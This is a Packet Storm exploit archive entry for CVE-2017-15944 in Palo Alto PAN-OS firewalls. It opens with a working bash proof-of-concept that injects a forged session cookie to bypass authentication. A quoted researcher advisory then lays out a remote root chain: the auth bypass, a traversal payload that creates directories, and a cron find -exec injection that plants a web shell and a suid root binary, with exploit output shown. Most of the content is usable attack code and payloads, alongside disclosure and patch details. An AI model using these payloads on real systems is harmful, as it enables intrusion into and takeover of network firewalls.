Lucene search

K
packetstormZerialPACKETSTORM:145496
HistoryDec 19, 2017 - 12:00 a.m.

Palo Alto Networks PAN-OS Cookie Injection

2017-12-1900:00:00
Zerial
packetstormsecurity.com
181

0.973 High

EPSS

Percentile

99.9%

`#!/bin/bash  
#  
# Exploit Title: Fake Cookie Injection PoC - CVE-2017-15944  
# Date: December 15, 2017  
# Description: Create a take custom cookie and then verify it.  
# CVE: CVE-2017-15944  
# Author: Fernando Lagos (Zerial)  
# https://twitter.com/Zerial  
# https://blog.zerial.org  
# https://nivel4.com  
#  
#  
# Example:  
# ~$ bash pan-poc.sh  
# Testing CVE-2017-15944 on https://96.8x.xxx.xx:4443  
# [+] Testing connection to host: OK  
# [+] Cooking session: OK  
# [+] Inserting fake cookie: OK  
# [+] Verifying session: OK  
# *** [!] Host https://96.8x.xxx.xx:4443 is vulnerable.  
#  
# NOTE: Run as bash  
  
uri=$1  
echo "Testing CVE-2017-15944 on $uri"  
echo -n "[+] Testing connection to host: "  
curl --max-time 4 -k --connect-timeout 3 $uri -s -H "User-Agent:  
CVE-2017-15944/PoC/v1 - https://nivel4.com">/dev/null  
if [ $? -eq 0 ]  
then  
echo "OK"  
else  
echo "Unreachable."  
exit 1  
fi  
echo -n "[+] Cooking session: "  
curl -s --connect-timeout 3 -k "$uri/php/login.php" -H "User-Agent:  
CVE-2017-15944/PoC/v1 - https://nivel4.com" -c /tmp/pan_cookie >/dev/null  
echo "OK"  
echo -n "[+] Inserting fake cookie: "  
curl -s --connect-timeout 3 -k -vvv  
"$uri/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"  
-b /tmp/pan_cookie -s -H "User-Agent: CVE-2017-15944/PoC/v1 -  
https://nivel4.com" 2>/dev/null|grep "Success" >/dev/null  
if [ $? -eq 0 ]  
then  
echo "OK"  
else  
echo "Error."  
exit 1  
fi  
echo -n "[+] Verifying session: "  
curl -s -k --connect-timeout 3 "$uri/php/utils/debug.php" -b  
/tmp/pan_cookie -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com"  
|grep -i "Debug Console">/dev/null  
if [ $? -eq 0 ]  
then  
echo "OK"  
else  
echo -e "\033[1;33m[!]\033[0m Warning. Can't verify. \033[1;33mPlease check  
manually\033[0m."  
exit 1  
fi  
echo -e "*** \033[0;31m[!]\033[0m Host $uri is \033[0;31m  
vulnerable\033[0m."  
  
  
  
----- eof -----  
  
2017-12-11 20:13 GMT-03:00 Philip Pettersson <[email protected]>:  
  
> Hello,  
>  
> This is a public advisory for CVE-2017-15944 which is a remote root code  
> execution bug in Palo Alto Networks firewalls.  
>  
> Three separate bugs can be used together to remotely execute commands as  
> root through the web management interface without authentication on: PAN-OS  
> 6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier,  
> PAN-OS 8.0.5 and earlier.  
>  
> Palo Alto Networks recommends not exposing the web management interface to  
> the internet. By looking at Project Sonar or Shodan it is evident that it's  
> actually quite common to deploy the firewalls with the web management  
> interface listening on the WAN port.  
>  
> PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched  
> and can be downloaded from https://support.paloaltonetworks.com/  
>  
> =*=*=*=*=*=*=*=*= TIMELINE  
>  
> 2017-07-09: Report submitted.  
>  
> 2017-07-11: Palo Alto Networks PSIRT confirm that they received the report  
> and assign PDV-348 for tracking the issues.  
>  
> 2017-12-05: The bugs are made public by Palo Alto Networks at  
> https://securityadvisories.paloaltonetworks.com  
>  
> 2017-12-11: I send out this public advisory.  
>  
> =*=*=*=*=*=*=*=*= DESCRIPTION  
>  
> - Bug #1: Partial authentication bypass  
>  
> The file `/etc/appweb3/conf/common.conf` contains the web configuration  
> for  
> the web server that handles the web management interface.  
>  
> It configures an authentication filter on most subdirectories using the  
> following format:  
>  
> <Location /php>  
> panAuthCheck on  
> </Location>  
>  
> This means that all requests to /php/* will be checked for an authenticated  
> session cookie. The functionality itself is implemented in the  
> `libpanApiWgetFilter.so` library file.  
>  
> The function `openAuthFilter()` will look for the PHPSESSID cookie and then  
> call the `readSessionVarsFromFile()` function on the session file to  
> extract the `dloc` and `user` values.  
>  
> The problem is that `readSessionVarsFromFile()` is not using the official  
> PHP functions to read the serialized session data, but its own parser using  
> `strtok()` which is not implemented correctly.  
>  
> The PHP session format which `readSessionVarsFromFile()` tries to parse  
> looks like this for string values:  
> locale|s:2:"en";  
>  
> Explained:  
> var_name|s:str_length:"string value"; var_name|s:str_length:"another  
> string";...  
>  
>  
> If we can inject a value into the session file that contains the `";`  
> character sequence, we can break the parser and inject our own value for  
> the `user` variable.  
>  
> We can do this by calling the `/esp/cms_changeDeviceContext.esp` script,  
> which does not need any kind of authentication to be called.  
>  
> It will call the `panUserSetDeviceLocation()` function located in  
> `panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the  
> `dloc` and `loc` session variables to the second value.  
>  
> We can corrupt the session file by calling the following url:  
> `/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";`  
>  
> Which produces the following contents in `/tmp/sess_<sessionid>`:  
> `dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";`  
>  
> When this is parsed by the `readSessionVarsFromFile()` function, it will  
> extract `16:a'` as the value for the `user` variable.  
>  
> It will then use this in XML requests to the backend to check if the user  
> is authenticated, but this produces an XML injection that results in an  
> invalid XML document:  
>  
> ```  
> Entity: line 1: parser error : attributes construct error  
> <request cmd='op' cookie='16:a'' refresh='no'><operations  
> xml='yes'><show><cli>  
> ```  
>  
> The extra single quote character is injected into the cookie value, which  
> makes the request fail because of a parser error. Interestingly enough, the  
> `panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not  
> recognize this unexpected state and believes that authentication has  
> succeeded.  
>  
> We can now access any PHP file protected by the panAuthCheck directive  
> using our manipulated session cookie.  
>  
> Example:  
>  
> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;"  
> 10.0.0.1/php/utils/debug.php  
> <!DOCTYPE html>  
> <html><head><title>Moved Temporarily</title></head>  
> <body><h1>Moved Temporarily</h1>  
> <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php  
> ">here</a>.</p>  
> <address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body>  
> </html>  
> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '  
> 10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."  
> 1337";'  
> @start@Success@end@  
> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;"  
> 10.0.0.1/php/utils/debug.php  
> 2>/dev/null|head -30  
> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "  
> http://www.w3.org/TR/html4/loose.dtd">  
> <html>  
> <head>  
> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>  
> <title>Debug Console</title>  
>  
>  
> It's important to note that we still don't have a valid, logged in session.  
> Most PHP scripts will fail, but we do bypass the authentication check in  
> the web server.  
>  
> - Bug #2: Arbitrary directory creation  
>  
> The `/php/utils/router.php` file handles API requests for the web  
> management interface backend communication. It exposes most of the PHP  
> classes that comprise the web application in a simple remote procedure call  
> interface over HTTP POST/JSON.  
>  
> The `/php/device/Administrator.php` file declares the `Administrator`  
> class. It contains a method called `get` that we can call from  
> `router.php`.  
>  
> In the `get` method there is an XML injection in the call to  
> `Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the  
> request without any sanitation. This allows us to manipulate the XML  
> request that is sent to the backend.  
>  
> Normal request:  
> <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"  
> cookie="12312312312"/>  
>  
> We can inject our own values into the end of the `obj` attribute, and  
> therefore control all of the remaining XML request.  
>  
> The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the  
> parsing of XML requests in the backend.  
>  
> If we send a request tag with the `async-mode='yes'` attribute set, the  
> backend will create a temporary file and parent directory in  
> `/opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml` that  
> contains  
> the output of the request.  
>  
> Since we can control the `<cookie value>` part of the created directory  
> structure, we can use a directory traversal attack to create a directory  
> with an arbitrary name anywhere on the system.  
>  
> For example, by sending the following crafted POST request:  
>  
> {"action":"PanDirect","method":"execute","data":  
> ["07c5807d0d927dcd0980f86024e5208b","Administrator.get",  
> {"changeMyPassword":true,"template":"asd","id":"admin']\"  
> async-mode='yes' refresh='yes'  
> cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}  
>  
>  
> The backend receives the following XML request, resulting in the  
> `/tmp/hacked` directory being created:  
>  
> <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"  
> async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/>  
>  
>  
> - Bug #3: Command injection in cron script  
>  
> There is a cron entry that executes `/usr/local/bin/genindex_batch.sh`  
> every 15 minutes.  
>  
> This shellscript will in turn execute `/usr/local/bin/genindex.sh` to  
> generate indexes from database files in `/opt/pancfg/mgmt/logdb/`.  
>  
> There is a command injection vulnerability in how this shellscript handles  
> filename processing:  
>  
> <redacted at the request of PA networks>  
>  
> Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are  
> able to influence the output of the first `find` command.  
>  
> This output is then used as an argument in the second execution of `find`,  
> but without enclosing quotes. We can therefore inject arbitrary arguments  
> in this invocation. By passing the `-exec` option to `find`, we can make it  
> execute arbitrary system commands.  
>  
> My exploit creates a directory called:  
> `* -print -exec python -c exec("[base64 code..]".decode("base64")) ;`  
>  
> The base64-encoded python code will be executed as root, which creates a  
> simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root  
> wrapper in `/bin/x`.  
>  
> =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT  
>  
> imac:~/pa% python panos-rce.py http://10.0.0.1/  
> creating corrupted session...  
> >> http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27  
> ";user|s."1337";  
> done, verifying..  
> >> http://10.0.0.1/php/utils/debug.php  
> panAuthCheck bypassed  
> verifying that directory creation works..  
> >> http://10.0.0.1/php/utils/router.php/Administrator.get  
> >> http://10.0.0.1/api/test/202.xml  
> creating /opt/pancfg/mgmt/logdb/traffic/1/ entry  
> shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please  
> wait  
>  
> web shell created, rootshell accessible with /bin/x -p -c 'command'  
> uid=99(nobody) gid=99(nobody) euid=0(root)  
> Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017  
> x86_64 x86_64 x86_64 GNU/Linux  
>  
> $  
>  
>  
> =*=*=*=*=*=*=*=*= CREDIT  
>  
> Philip Pettersson  
>  
`